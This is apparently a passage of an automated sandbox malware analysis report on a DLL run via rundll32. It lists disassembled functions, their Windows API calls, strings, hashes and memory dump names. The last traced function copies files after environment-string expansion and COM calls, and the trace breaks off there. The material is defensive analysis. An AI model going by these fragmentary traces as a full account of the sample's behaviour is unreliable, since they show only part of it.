GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,456EBF13,6F9EAAAA,?,00000000,6F9FAA10,000000FF,?,6F9EC740,B586E81C,?,6F9EC714,?), ref: 6F9EC7DB
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6F9EC7ED
mydllmain.DLL1(B586E81C,?,00000000,6F9FAA10,000000FF,?,6F9EC740,B586E81C,?,6F9EC714,?), ref: 6F9EC7FE
FreeLibrary.KERNEL32(00000000,?,00000000,6F9FAA10,000000FF,?,6F9EC740,B586E81C,?,6F9EC714,?), ref: 6F9EC80F

Strings

CorExitProcess, xrefs: 6F9EC7E5
mscoree.dll, xrefs: 6F9EC7D4

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProcmydllmain
String ID: CorExitProcess$mscoree.dll
API String ID: 361333426-1276376045
Opcode ID: eab947acee68a7a8a253edc9dd6ad3e8e088a2edcaaa0ab7ef83d3f8f5d4227b
Instruction ID: ed39819689001fbccc8f9033173810a13d08aa10c6040bf05aacbddeec0a1a8f
Opcode Fuzzy Hash: eab947acee68a7a8a253edc9dd6ad3e8e088a2edcaaa0ab7ef83d3f8f5d4227b
Instruction Fuzzy Hash: 61018F31905A1AEBEB128F50CC09BAEBBB8FB44764F004526E822A26C0DB34D901CE90

Function 6F9EE197 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b108430ace2ae2e195cb0785f84125f37a562e01eb83432d2d944133b503c69e
Instruction ID: 7647802357515487b534f0337983a4b01f546191ea04af5b775c0ba7a625cba5
Opcode Fuzzy Hash: b108430ace2ae2e195cb0785f84125f37a562e01eb83432d2d944133b503c69e
Instruction Fuzzy Hash: 84B10570A0434AAFDB03EFA8D880BAD7BB5BF5A314F024159E5149B3C2D771E956CB60

Function 6F9E4AF3 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6F9E4A71,6F9E3517,6F9E2EE4,?,6F9E311C,?,00000001,?,?,00000001,?,6FA01FC8,0000000C,6F9E3215), ref: 6F9E4B01
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6F9E4B0F
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6F9E4B28
SetLastError.KERNEL32(00000000,6F9E311C,?,00000001,?,?,00000001,?,6FA01FC8,0000000C,6F9E3215,?,00000001,?), ref: 6F9E4B7A

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: cc22e5fb2661b7a96bb395338c357357c37926b6c562c8c4442c5527a6c381b8
Instruction ID: 4e7cf688260096915d7ed344b17a23e7a0b72cfbf78f7a60fa6dcf1adb68d6ca
Opcode Fuzzy Hash: cc22e5fb2661b7a96bb395338c357357c37926b6c562c8c4442c5527a6c381b8
Instruction Fuzzy Hash: D401F13A20EB122EE6160DBC6C85B5F37A9FF02778324032EE520852D5EF51D8268954

Function 6F9F2178 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\system32\loaddll32.exe, xrefs: 6F9F2194

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID:
String ID: C:\Windows\system32\loaddll32.exe
API String ID: 0-1062229814
Opcode ID: 28051e527f8b3cbb9e0592dbd45ff72b5e09849b74fff946af79bc4e041ed96f
Instruction ID: 2068e1e1066332e983ce4f34bd2a8899538b73368c6988d1c8951a265d3822cf
Opcode Fuzzy Hash: 28051e527f8b3cbb9e0592dbd45ff72b5e09849b74fff946af79bc4e041ed96f
Instruction Fuzzy Hash: 5C219031606285AFDB259F75CC80A9A77BDFF153787104528E928DB2C1E731EC1287A0

Function 6F9F7074 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6F9F70F9
__alloca_probe_16.LIBCMT ref: 6F9F71C2
__freea.LIBCMT ref: 6F9F7229

Part of subcall function 6F9EE7FE: HeapAlloc.KERNEL32(00000000,6F9F26F1,?,?,6F9F26F1,00000220,?,?,?), ref: 6F9EE830

__freea.LIBCMT ref: 6F9F723C
__freea.LIBCMT ref: 6F9F7249

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: e2e89a9ea8593e6b0cfd399966976ac5d5411cee2b145226237d4c9289e38e0a
Instruction ID: 3a035033afc96f1722e83c0be7949e2cad1da0b987f837512ae3d8f52a39572c
Opcode Fuzzy Hash: e2e89a9ea8593e6b0cfd399966976ac5d5411cee2b145226237d4c9289e38e0a
Instruction Fuzzy Hash: 5751E7726023066FEB118FA4DC81EEB3AAEEF55714F15012AFD14D61D1EB30EC5287A2

Function 6F9E4BD3 Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

mydllmain.DLL1(6FA020D0,00000010,6F9E4D45,?,?,?,?,6FA020F0,00000008,6F9E4DC9,?,?,?,00000000), ref: 6F9E4C32
___AdjustPointer.LIBCMT ref: 6F9E4C9A
___AdjustPointer.LIBCMT ref: 6F9E4CBD
___AdjustPointer.LIBCMT ref: 6F9E4D59

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: AdjustPointer$mydllmain
String ID:
API String ID: 3586548312-0
Opcode ID: a97aed2e2f24b6bc476e67e0494d091584efe8357c4061f7de10aaaa154fc8f0
Instruction ID: c14818a5ec750cd00fa8f87ca4a09ccd776b0f63d96feb830be4f3c58c92b239
Opcode Fuzzy Hash: a97aed2e2f24b6bc476e67e0494d091584efe8357c4061f7de10aaaa154fc8f0
Instruction Fuzzy Hash: 1951DD7A644706AFEB2A8F68D840BEA77B9FF44314F10452AD8158B2D1D731F880CF90

Function 6F9E60DA Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 181COMMONLIBRARYCODE

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6F9E6177
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6F9E627E
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6F9E6291

Strings

5q, xrefs: 6F9E60E8

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 5q
API String ID: 885266447-1627527040
Opcode ID: 4fd9d191c58d79bcdf1769613de63e25729df438f3d71490d2be7c779e85855a
Instruction ID: d2e6a76b97a456878d7e59d4998a50ddac5099b96952788c9c33bea20682c7c5
Opcode Fuzzy Hash: 4fd9d191c58d79bcdf1769613de63e25729df438f3d71490d2be7c779e85855a
Instruction Fuzzy Hash: D1519471A10209AFCF16CF98C940EDEBBB6EF8A314F148159E954AB395D330EE12CB50

Function 6F9E5C02 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6F9E5BB3,00000000,?,00000001,?,?,?,6F9E5CA2,00000001,FlsFree,6F9FBCD8,FlsFree), ref: 6F9E5C0F
GetLastError.KERNEL32(?,6F9E5BB3,00000000,?,00000001,?,?,?,6F9E5CA2,00000001,FlsFree,6F9FBCD8,FlsFree,00000000,?,6F9E4BC8), ref: 6F9E5C19
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6F9E5C41

Strings

api-ms-, xrefs: 6F9E5C26

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: f3a7936ef8d702ea13330c677b76a87a2ea3cd541a6e0d0fa7ace175b40a3a47
Instruction ID: bb9b3e72322580271ff16fafcc9dce7d61706d896de649dfeb7fe008e0c223cc
Opcode Fuzzy Hash: f3a7936ef8d702ea13330c677b76a87a2ea3cd541a6e0d0fa7ace175b40a3a47
Instruction Fuzzy Hash: EDE04F7128820AB7FF211E64ED06F493B79AF41B55F144020FA0CE80D4EB62E9208A89

Function 6F9F0966 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(456EBF13,00000000,00000000,?), ref: 6F9F09C9

Part of subcall function 6F9F2CC5: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F9F721F,?,00000000,-00000008), ref: 6F9F2D26

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6F9F0C1B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6F9F0C61
GetLastError.KERNEL32 ref: 6F9F0D04

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: ee8da23ffb8ad237d983f91d22594d1bbf0df130d2701cfd982eb9402a0e08f6
Instruction ID: be717b506e847ebdd8a4899fab936612b21bd204c3155401ad22080883c17d45
Opcode Fuzzy Hash: ee8da23ffb8ad237d983f91d22594d1bbf0df130d2701cfd982eb9402a0e08f6
Instruction Fuzzy Hash: 71D18AB5D056499FCF01CFA8D8809EDBBB8FF09314F14916AE466AB3A1D730E916CB50

Function 6F9F9163 Relevance: 6.1, APIs: 4, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,6F9F8ACF), ref: 6F9F917C
mydllmain.DLL1(00000001,?,?), ref: 6F9F92F0
mydllmain.DLL1(00000002,?,?), ref: 6F9F9336

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: mydllmain$DecodePointer
String ID:
API String ID: 253863441-0
Opcode ID: 4ab6d6fe434442ba140f74252297e0d41396fc9a7f8cbc31e2f3a2cf008151f3
Instruction ID: 4a631ff00f79ae1f6daa3b14ac59bb601d52ad68c09f487b39f19c2a0100ef4c
Opcode Fuzzy Hash: 4ab6d6fe434442ba140f74252297e0d41396fc9a7f8cbc31e2f3a2cf008151f3
Instruction Fuzzy Hash: 9751597090660ADBEF109FA9ED483EDBF78BF8A314F018245D590AA2DCCB74D562CB54

Function 6F9F1A14 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6F9F2CC5: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F9F721F,?,00000000,-00000008), ref: 6F9F2D26

GetLastError.KERNEL32 ref: 6F9F1A78
__dosmaperr.LIBCMT ref: 6F9F1A7F
GetLastError.KERNEL32(?,?,?,?), ref: 6F9F1AB9
__dosmaperr.LIBCMT ref: 6F9F1AC0

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 79a78cb0727e590f74047a1533c07c307691a6679fa9898d480f14385450da65
Instruction ID: 7f9164fb7cac6044c892e292e2789cdcb407ab16005dc69322be420e244c422d
Opcode Fuzzy Hash: 79a78cb0727e590f74047a1533c07c307691a6679fa9898d480f14385450da65
Instruction Fuzzy Hash: 0121D4B1606705AFD7509F76C88095BB7BDFF16368710851AE828972C0E731EC928BD0

Function 6F9F2D68 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6F9F2D70

Part of subcall function 6F9F2CC5: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F9F721F,?,00000000,-00000008), ref: 6F9F2D26

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6F9F2DA8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6F9F2DC8

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: baf4159828b1a641f5f734c50fe31129232d30826f66e0cdaf5c25621d9981a6
Instruction ID: 1613eefbff378ab773b0501895d883bd5d73bf501c341c8cdfcdd4f4740115ae
Opcode Fuzzy Hash: baf4159828b1a641f5f734c50fe31129232d30826f66e0cdaf5c25621d9981a6
Instruction Fuzzy Hash: E21126B15076967FAB129BB59D8CEAF6A6CDF9A2E83100014F901D11C1FB30DE1287B1

Function 6F9F82CD Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,6F9EB4BB,00000000,00000000,?,6F9F6961,00000000,00000001,?,?,?,6F9F0D58,?,00000000,00000000), ref: 6F9F82E4
GetLastError.KERNEL32(?,6F9F6961,00000000,00000001,?,?,?,6F9F0D58,?,00000000,00000000,?,?,?,6F9F1332,00000000), ref: 6F9F82F0

Part of subcall function 6F9F82B6: CloseHandle.KERNEL32(FFFFFFFE,6F9F8300,?,6F9F6961,00000000,00000001,?,?,?,6F9F0D58,?,00000000,00000000,?,?), ref: 6F9F82C6

___initconout.LIBCMT ref: 6F9F8300

Part of subcall function 6F9F8278: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6F9F82A7,6F9F694E,?,?,6F9F0D58,?,00000000,00000000,?), ref: 6F9F828B

WriteConsoleW.KERNEL32(00000000,00000000,6F9EB4BB,00000000,?,6F9F6961,00000000,00000001,?,?,?,6F9F0D58,?,00000000,00000000,?), ref: 6F9F8315

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 30517a3b9dced8703cc48e78c43ef5504f0f25c1bab7312c22cb9a727bd8d13b
Instruction ID: a346450a17862f2d572a62213856802eb06effed2dd63387ee0b1c28c125e7fd
Opcode Fuzzy Hash: 30517a3b9dced8703cc48e78c43ef5504f0f25c1bab7312c22cb9a727bd8d13b
Instruction Fuzzy Hash: B8F01C3650AA15BBCF521F92DC0498D3F76FF0A7F1B088010FA1895164C632D8319F90

Function 6F9E51CF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 6F9E51F4

Strings

MOC, xrefs: 6F9E5206
RCC, xrefs: 6F9E520E

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 7f567eecfe678610b5cef0a2f79b4c9210ae199e2cb6a3cdc72f9ee9efced074
Instruction ID: 7181ef55fda0e5629bce5e0589bcddf746c721b565cb50da6ae142922ba2d515
Opcode Fuzzy Hash: 7f567eecfe678610b5cef0a2f79b4c9210ae199e2cb6a3cdc72f9ee9efced074
Instruction Fuzzy Hash: F3416832A00209AFCF02CFA8CC80AEE7BB9FF49314F148199F915A7291D735E950DB51

Function 6F9EFD31 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

mydllmain.DLL1(00000FA0,-00000020,6F9F033F,6F9F033F,-00000020,00000FA0,00000000,00000000,?,?), ref: 6F9EFD61
InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,6F9F033F,-00000020,00000FA0,00000000,00000000,?,?), ref: 6F9EFD71

Strings

InitializeCriticalSectionEx, xrefs: 6F9EFD41

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpinmydllmain
String ID: InitializeCriticalSectionEx
API String ID: 3077948437-3084827643
Opcode ID: c37533a60aea342b14aa58079f67d55610bf7ee06076d1c7079a28a23d2ba90f
Instruction ID: ebf86ec77776e403c7eab09ca27d9bd56e07b3ccbeb410d9829cd61b024731fc
Opcode Fuzzy Hash: c37533a60aea342b14aa58079f67d55610bf7ee06076d1c7079a28a23d2ba90f
Instruction Fuzzy Hash: F0E09231442519B7CF221F60DC04D9D3F26DF80779F008012FA2C552D0C732D8619BD0

Function 6F9EFCEF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

mydllmain.DLL1(?,00000001,6F9E60D4,00000001,?,6F9EC1F7,?,?,?,?,?,00000000,6F9EAAAA,?,00000000,00000001), ref: 6F9EFD1C

Strings

ccs, xrefs: 6F9EFCF5
FlsSetValue, xrefs: 6F9EFCFF

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: mydllmain
String ID: FlsSetValue$ccs
API String ID: 979097349-2990521015
Opcode ID: 60e5aac3eda4c1bb2c9dc37df7179b4ab5dfff16b2bc96bc2c1489be20f95b11
Instruction ID: 2df782de406a8d0de655af6ac295f089cd7ee8a57e0e35dfae345fec7d5435b3
Opcode Fuzzy Hash: 60e5aac3eda4c1bb2c9dc37df7179b4ab5dfff16b2bc96bc2c1489be20f95b11
Instruction Fuzzy Hash: 93E0CD3254252973DA212F91AC08DD97F29DBC06B9B048063FF18962D0DA31D861D7D1

Function 6F9EFC32 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

mydllmain.DLL1(?), ref: 6F9EFC5C
TlsAlloc.KERNEL32 ref: 6F9EFC66

Strings

FlsAlloc, xrefs: 6F9EFC42

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: Allocmydllmain
String ID: FlsAlloc
API String ID: 2444374858-671089009
Opcode ID: 5d62a881fa14e11daa6522b692d7289d625f78807a1c4edb83c72af99d191f4f
Instruction ID: a7bd659a1ef523b56b66f01a8083a3fbed3ef9ff4d840c06664dea7a40f12a26
Opcode Fuzzy Hash: 5d62a881fa14e11daa6522b692d7289d625f78807a1c4edb83c72af99d191f4f
Instruction Fuzzy Hash: FBE0C23198692573CA322F54BD0899A7E19CFE1BBDB054023FF14953C19A20D81297E1

Analysis Process: rundll32.exePID: 7456, Parent PID: 7396COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	33

Executed Functions

Function 6F9E1629 Relevance: 37.0, APIs: 12, Strings: 9, Instructions: 291
filesleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00000000,F9A742C7,%s%s,00000000,00000000), ref: 6F9E16D8
_strlen.LIBCMT ref: 6F9E17B1
ExpandEnvironmentStringsW.KERNEL32(?,?,000000FF), ref: 6F9E1809

Part of subcall function 6F9E1CFA: CoInitialize.OLE32(00000000), ref: 6F9E1D40
Part of subcall function 6F9E1CFA: CoCreateInstance.OLE32(6F9FB200,00000000,00000001,6F9FB1F0,?), ref: 6F9E1D59
Part of subcall function 6F9E1CFA: CoUninitialize.OLE32 ref: 6F9E1D70

CopyFileW.KERNEL32(?,?,00000000), ref: 6F9E191C
